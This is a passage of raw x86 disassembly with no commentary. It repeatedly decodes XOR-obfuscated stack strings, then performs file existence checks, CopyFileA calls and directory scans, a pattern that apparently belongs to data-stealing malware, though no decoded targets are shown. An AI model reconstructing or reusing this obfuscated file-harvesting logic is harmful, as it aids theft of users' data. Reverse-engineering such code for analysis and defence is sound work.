mov dword [ebp - 0x2c], 0x90486d42
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x7d8], eax
mov dword [ebp - 0x7d4], ecx
mov dword [ebp - 0x30], 0x4fbfab07
mov dword [ebp - 0x2c], 0xe577e857
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x7d0], eax
mov dword [ebp - 0x7cc], ecx
mov dword [ebp - 0x30], 0x666987e8
mov dword [ebp - 0x2c], 0xd5a69bee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x7c8], eax
mov dword [ebp - 0x7c4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xfa0], eax
mov dword [ebp - 0xf9c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xf98], eax
mov dword [ebp - 0xf94], ecx
mov dword [ebp - 0x30], 0x4fbfab07
mov dword [ebp - 0x2c], 0xe577e857
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xf90], eax
mov dword [ebp - 0xf8c], ecx
mov dword [ebp - 0x30], 0x666987e8
mov dword [ebp - 0x2c], 0xd5a69bee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
vmovdqu ymm0, ymmword [ebp - 0x7e0]
mov dword [ebp - 0xf88], eax
lea eax, [ebp - 0x7e0]
mov dword [ebp - 0xf84], ecx
lea ecx, [ebp - 0x19e0]
vpxor ymm0, ymm0, ymmword [ebp - 0xfa0]
vmovdqa ymmword [ebp - 0x7e0], ymm0
push eax
vzeroupper
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x1a
mov ecx, eax
or dword [ebp - 0x48], 4
push 0
call fcn.004aba80
push eax
call edi
mov byte [ebp - 0x42], 1
test eax, eax
jne 0x46cd8e
mov byte [ebp - 0x42], 0
mov dword [ebp - 4], 0x119
mov eax, dword [ebp - 0x48]
test al, 4
je 0x46cdad
and eax, 0xfffffffb
lea ecx, [ebp - 0x19e0]
mov dword [ebp - 0x48], eax
call fcn.0040fc90
cmp byte [ebp - 0x42], 0
je 0x46cf22
mov dword [ebp - 0x30], 0x778a8669
lea edx, [ebp - 0x104]
mov dword [ebp - 0x2c], 0x882f82d2
sub esp, 0x18
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x800], eax
mov dword [ebp - 0x7fc], ecx
mov dword [ebp - 0x30], 0x196c1966
mov dword [ebp - 0x2c], 0x90486d42
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x7f8], eax
mov dword [ebp - 0x7f4], ecx
mov dword [ebp - 0x30], 0x4fbfab07
mov dword [ebp - 0x2c], 0xe577e857
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x7f0], eax
mov dword [ebp - 0x7ec], ecx
mov dword [ebp - 0x30], 0x666987e8
mov dword [ebp - 0x2c], 0xd5a69bee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x7e8], eax
mov dword [ebp - 0x7e4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1060], eax
mov dword [ebp - 0x105c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1058], eax
mov dword [ebp - 0x1054], ecx
mov dword [ebp - 0x30], 0x4fbfab07
mov dword [ebp - 0x2c], 0xe577e857
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1050], eax
mov dword [ebp - 0x104c], ecx
mov dword [ebp - 0x30], 0x666987e8
mov dword [ebp - 0x2c], 0xd5a69bee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
vmovdqu ymm0, ymmword [ebp - 0x800]
mov dword [ebp - 0x1048], eax
lea eax, [ebp - 0x800]
mov dword [ebp - 0x1044], ecx
mov ecx, esp
vpxor ymm0, ymm0, ymmword [ebp - 0x1060]
mov dword [ebp - 0x24], esp
vmovdqa ymmword [ebp - 0x800], ymm0
push eax
vzeroupper
call fcn.004b0150
mov byte [ebp - 4], 0x1b
sub esp, 0x14
lea eax, [ebp - 0x1680]
mov dword [ebp - 0x5c], esp
mov ecx, esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x1c
mov byte [ebp - 4], 0x19
xor cl, cl
call fcn.0041f720
add esp, 0x30
test eax, eax
jne 0x46cf22
mov byte [ebp - 0x41], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x30], 0x689ea669
lea edx, [ebp - 0x630]
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x4ac], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x4a8], eax
mov dword [ebp - 0x4a4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xa60], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xa5c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x4b0]
mov dword [ebp - 0xa58], eax
lea eax, [ebp - 0x4b0]
mov dword [ebp - 0xa54], ecx
lea ecx, [ebp - 0x1668]
pxor xmm1, xmmword [ebp - 0xa60]
push eax
movaps xmmword [ebp - 0x4b0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x1668]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x46d0be
mov dword [ebp - 0x30], 0x689ea669
lea edx, [ebp - 0x104]
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xa70], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xa6c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x4c0]
mov dword [ebp - 0xa68], eax
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0xa64], ecx
lea ecx, [ebp - 0x19f8]
pxor xmm1, xmmword [ebp - 0xa70]
push eax
movaps xmmword [ebp - 0x4c0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x1e
mov ecx, eax
or dword [ebp - 0x48], 8
push 0
call fcn.004aba80
push eax
call edi
mov byte [ebp - 0x42], 1
test eax, eax
jne 0x46d0c2
mov byte [ebp - 0x42], 0
mov dword [ebp - 4], 0x11d
mov eax, dword [ebp - 0x48]
test al, 8
je 0x46d0e1
and eax, 0xfffffff7
lea ecx, [ebp - 0x19f8]
mov dword [ebp - 0x48], eax
call fcn.0040fc90
cmp byte [ebp - 0x42], 0
je 0x46d1d1
mov dword [ebp - 0x30], 0x689ea669
lea edx, [ebp - 0x104]
mov dword [ebp - 0x2c], 0xe640eba1
sub esp, 0x18
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x4cc], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xa80], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xa7c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x4d0]
mov dword [ebp - 0xa78], eax
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0xa74], ecx
mov ecx, esp
pxor xmm1, xmmword [ebp - 0xa80]
mov dword [ebp - 0x24], esp
push eax
movaps xmmword [ebp - 0x4d0], xmm1
call fcn.004b0150
mov byte [ebp - 4], 0x1f
sub esp, 0x14
lea eax, [ebp - 0x1668]
mov dword [ebp - 0x5c], esp
mov ecx, esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x20
mov byte [ebp - 4], 0x1d
xor cl, cl
call fcn.0041f720
add esp, 0x30
test eax, eax
jne 0x46d1d1
mov byte [ebp - 0x41], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x30], 0x708eb169
lea edx, [ebp - 0x630]
mov dword [ebp - 0x2c], 0x952189c0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 0x30], 0x76183923
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xa90], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xa8c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x4e0]
mov dword [ebp - 0xa88], eax
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0xa84], ecx
lea ecx, [ebp - 0x1650]
pxor xmm1, xmmword [ebp - 0xa90]
push eax
movaps xmmword [ebp - 0x4e0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1650]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x46d36d
mov dword [ebp - 0x30], 0x708eb169
lea edx, [ebp - 0x104]
mov dword [ebp - 0x2c], 0x952189c0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x30], 0x76183923
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x4e8], eax
mov dword [ebp - 0x4e4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xaa0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xa9c], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x4f0]
mov dword [ebp - 0xa98], eax
lea eax, [ebp - 0x4f0]
mov dword [ebp - 0xa94], ecx
lea ecx, [ebp - 0x1a10]
pxor xmm1, xmmword [ebp - 0xaa0]
push eax
movaps xmmword [ebp - 0x4f0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x22
mov ecx, eax
or dword [ebp - 0x48], 0x10
push 0
call fcn.004aba80
push eax
call edi
mov byte [ebp - 0x42], 1
test eax, eax
jne 0x46d371
mov byte [ebp - 0x42], 0
mov dword [ebp - 4], 0x121
mov eax, dword [ebp - 0x48]
test al, 0x10
je 0x46d390
and eax, 0xffffffef
lea ecx, [ebp - 0x1a10]
mov dword [ebp - 0x48], eax
call fcn.0040fc90
cmp byte [ebp - 0x42], 0
je 0x46d480
mov dword [ebp - 0x30], 0x708eb169
lea edx, [ebp - 0x104]
mov dword [ebp - 0x2c], 0x952189c0
sub esp, 0x18
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], ecx
mov dword [ebp - 0x30], 0x76183923
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x4f8], eax
mov dword [ebp - 0x4f4], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xab0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xaac], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x500]
mov dword [ebp - 0xaa8], eax
lea eax, [ebp - 0x500]
mov dword [ebp - 0xaa4], ecx
mov ecx, esp
pxor xmm1, xmmword [ebp - 0xab0]
mov dword [ebp - 0x24], esp
push eax
movaps xmmword [ebp - 0x500], xmm1
call fcn.004b0150
mov byte [ebp - 4], 0x23
sub esp, 0x14
lea eax, [ebp - 0x1650]
mov dword [ebp - 0x5c], esp
mov ecx, esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x24
mov byte [ebp - 4], 0x21
xor cl, cl
call fcn.0041f720
add esp, 0x30
test eax, eax
jne 0x46d480
mov byte [ebp - 0x41], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x30], 0x6a80b669
lea edx, [ebp - 0x630]
mov dword [ebp - 0x2c], 0xc82782c7
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x510], eax
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x30], 0x1877392c
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x504], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xac0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xabc], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x510]
mov dword [ebp - 0xab8], eax
lea eax, [ebp - 0x510]
mov dword [ebp - 0xab4], ecx
lea ecx, [ebp - 0x1638]
pxor xmm1, xmmword [ebp - 0xac0]
push eax
movaps xmmword [ebp - 0x510], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x1638]
call fcn.004aba80
sub esp, 0x18
mov dword [ebp - 0x58], eax
mov esi, esp
mov dword [ebp - 0x24], esp
mov dword [ebp - 0x5c], esi
mov ecx, esi
mov dword [ebp - 0x8c], esi
call fcn.00410150
mov byte [ebp - 4], 0x27
mov edx, dword [ebp - 0x58]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x58], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46d570
sub ecx, dword [ebp - 0x58]
push ecx
push edx
mov ecx, esi
call fcn.00410090
mov byte [ebp - 4], 0x28
mov byte [ebp - 4], 0x25
call fcn.0041a120
add esp, 0x18
test al, al
je 0x46d68b
mov dword [ebp - 0x30], 0x6a80b669
lea edx, [ebp - 0x104]
mov dword [ebp - 0x2c], 0xc82782c7
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], ecx
mov dword [ebp - 0x30], 0x1877392c
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x514], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xad0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xacc], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x520]
mov dword [ebp - 0xac8], eax
lea eax, [ebp - 0x520]
mov dword [ebp - 0xac4], ecx
lea ecx, [ebp - 0x1a28]
pxor xmm1, xmmword [ebp - 0xad0]
push eax
movaps xmmword [ebp - 0x520], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x29
mov ecx, eax
call fcn.004aba80
lea ecx, [ebp - 0x1638]
mov esi, eax
call fcn.004aba80
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x1a28]
call fcn.0040fc90
test esi, esi
je 0x46d68b
mov byte [ebp - 0x41], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x1638]
call fcn.0040fe10
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0x1638]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x1650]
call fcn.0040fe10
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x1650]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x1668]
call fcn.0040fe10
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x1668]
mov dword [ebp - 0x8c], eax
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x1680]
call fcn.0040fe10
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x1680]
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x1698]
call fcn.0040fe10
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x1698]
mov dword [ebp - 0x90], eax
mov byte [ebp - 4], 0x11
cmp byte [ebp - 0x41], 0
jne 0x46d73c
push 0
mov dl, 1
lea ecx, [ebp - 0x104]
call fcn.0041a270
add esp, 4
and dword [ebp - 0x54], 0xfffffeff
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x630]
call fcn.0040fe10
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x630]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x30], 0x7c808169
lea edx, [ebp - 0x1c0]
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x528], eax
mov dword [ebp - 0x524], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xae0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xadc], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x530]
mov dword [ebp - 0xad8], eax
lea eax, [ebp - 0x530]
mov dword [ebp - 0xad4], ecx
lea ecx, [ebp - 0x13e0]
pxor xmm1, xmmword [ebp - 0xae0]
push eax
movaps xmmword [ebp - 0x530], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x13e0]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46df71
mov dword [ebp - 0x30], 0x7c80a169
xor al, al
mov dword [ebp - 0x2c], 0xe640eba1
mov byte [ebp - 0x42], al
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xaf0], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xaec], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x180]
mov dword [ebp - 0xae8], eax
lea eax, [ebp - 0x12f0]
mov dword [ebp - 0xae4], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0xaf0]
movaps xmmword [ebp - 0x180], xmm1
mov dword [ebp - 0x24], eax
call fcn.00410150
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x180]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46d8e8
sub ecx, edx
lea eax, [ebp - 0x180]
push ecx
push eax
lea ecx, [ebp - 0x12f0]
call fcn.00410090
mov byte [ebp - 4], 0x3f
mov dword [ebp - 0x30], 0x40bf8574
mov dword [ebp - 0x2c], 0xe601bfe0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x53c], ecx
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x538], eax
mov dword [ebp - 0x534], ecx
mov dword [ebp - 0x30], 0x4efd535
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xb00], eax
mov dword [ebp - 0x30], 0x76184a46
mov dword [ebp - 0xafc], ecx
mov dword [ebp - 0x2c], 0xf52f0c30
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movaps xmm1, xmmword [ebp - 0x540]
mov dword [ebp - 0xaf8], eax
lea eax, [ebp - 0x540]
mov dword [ebp - 0xaf4], ecx
pxor xmm1, xmmword [ebp - 0xb00]
push eax
movaps xmmword [ebp - 0x540], xmm1
call fcn.0052d011
add esp, 4
lea ecx, [ebp - 0x12f0]
mov edx, eax
push ecx
lea ecx, [ebp - 0x1740]
call fcn.004b0310
add esp, 4
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x12f0]
call fcn.0040fe10
mov byte [ebp - 4], 0x41
lea eax, [ebp - 0x12f0]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x41
sub esp, 0x18
lea eax, [ebp - 0x1740]
mov dword [ebp - 0x5c], esp
mov ecx, esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x45
push 1
mov byte [ebp - 4], 0x41
xor dl, dl
lea ecx, [ebp - 0x844]
call fcn.00439af0
add esp, 0x1c
mov byte [ebp - 4], 0x46
mov eax, dword [ebp - 0x844]
mov ecx, dword [ebp - 0x840]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x60], ecx
cmp eax, ecx
je 0x46df2a
mov byte [ebp - 0x58], 0
push eax
lea ecx, [ebp - 0x14d0]
call fcn.004abdc0
mov byte [ebp - 4], 0x47
lea edx, [ebp - 0x14d0]
push dword [ebp - 0x58]
lea ecx, [ebp - 0x14b8]
call fcn.004b6f70
add esp, 4
mov byte [ebp - 4], 0x49
lea eax, [ebp - 0x1770]
push eax
lea ecx, [ebp - 0x14b8]
call fcn.004129f0
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0xd48]
push ecx
mov ecx, eax
call fcn.004125e0
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x1770]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x4e
mov ecx, eax
call fcn.004adf90
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x1770]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0x4c
mov dword [ebp - 0x30], 0x7c80a11b
mov dword [ebp - 0x2c], 0xe640eba1
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x550], eax
mov dword [ebp - 0x54c], ecx
mov dword [ebp - 0x88], 0x76184a46
mov dword [ebp - 0x84], 0xf52f0c30
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x548], eax
mov dword [ebp - 0x544], ecx
mov dword [ebp - 0x78], 0x4efd535
mov dword [ebp - 0x74], 0xe640eba1
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xb10], eax
mov dword [ebp - 0x80], 0x76184a46
mov dword [ebp - 0xb0c], ecx
mov dword [ebp - 0x7c], 0xf52f0c30
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x7c]
movaps xmm1, xmmword [ebp - 0x550]
mov dword [ebp - 0xb08], eax
lea eax, [ebp - 0x550]
mov dword [ebp - 0xb04], ecx
lea ecx, [ebp - 0xd48]
pxor xmm1, xmmword [ebp - 0xb10]
push 0
push eax
movaps xmmword [ebp - 0x550], xmm1
call fcn.004ab870
cmp eax, 0xffffffff
jne 0x46dd31
mov dword [ebp - 0xa0], 0x6d81bc1b
mov dword [ebp - 0x9c], 0xe640eba1
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 0xb8], 0x76184a46
mov dword [ebp - 0xb4], 0xf52f0c30
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x554], ecx
mov dword [ebp - 0xa8], 0x4efd535
mov dword [ebp - 0xa4], 0xe640eba1
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0xb20], eax
mov dword [ebp - 0xb0], 0x76184a46
mov dword [ebp - 0xb1c], ecx
mov dword [ebp - 0xac], 0xf52f0c30
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
movaps xmm1, xmmword [ebp - 0x560]
mov dword [ebp - 0xb18], eax
lea eax, [ebp - 0x560]
mov dword [ebp - 0xb14], ecx
lea ecx, [ebp - 0xd48]
pxor xmm1, xmmword [ebp - 0xb20]
push 0
push eax
movaps xmmword [ebp - 0x560], xmm1
call fcn.004ab870
cmp eax, 0xffffffff
jne 0x46dd31
mov dword [ebp - 0xd8], 0x48db11b
mov dword [ebp - 0xd4], 0xe640eba1
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], ecx
mov dword [ebp - 0xe0], 0x76184a46
mov dword [ebp - 0xdc], 0xf52f0c30
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x568], eax
mov dword [ebp - 0x564], ecx
mov dword [ebp - 0xd0], 0x4efd535
mov dword [ebp - 0xcc], 0xe640eba1
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xcc]
mov dword [ebp - 0xb30], eax
mov dword [ebp - 0xc8], 0x76184a46
mov dword [ebp - 0xb2c], ecx
mov dword [ebp - 0xc4], 0xf52f0c30
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc4]
movaps xmm1, xmmword [ebp - 0x570]
mov dword [ebp - 0xb28], eax
lea eax, [ebp - 0x570]
mov dword [ebp - 0xb24], ecx
lea ecx, [ebp - 0xd48]
pxor xmm1, xmmword [ebp - 0xb30]
push 0
push eax
movaps xmmword [ebp - 0x570], xmm1
call fcn.004ab870
cmp eax, 0xffffffff
je 0x46deab
mov dword [ebp - 0x110], 0x4efd569
lea edx, [ebp - 0x13e0]
mov dword [ebp - 0x10c], 0xe640eba1
mov eax, dword [ebp - 0x110]
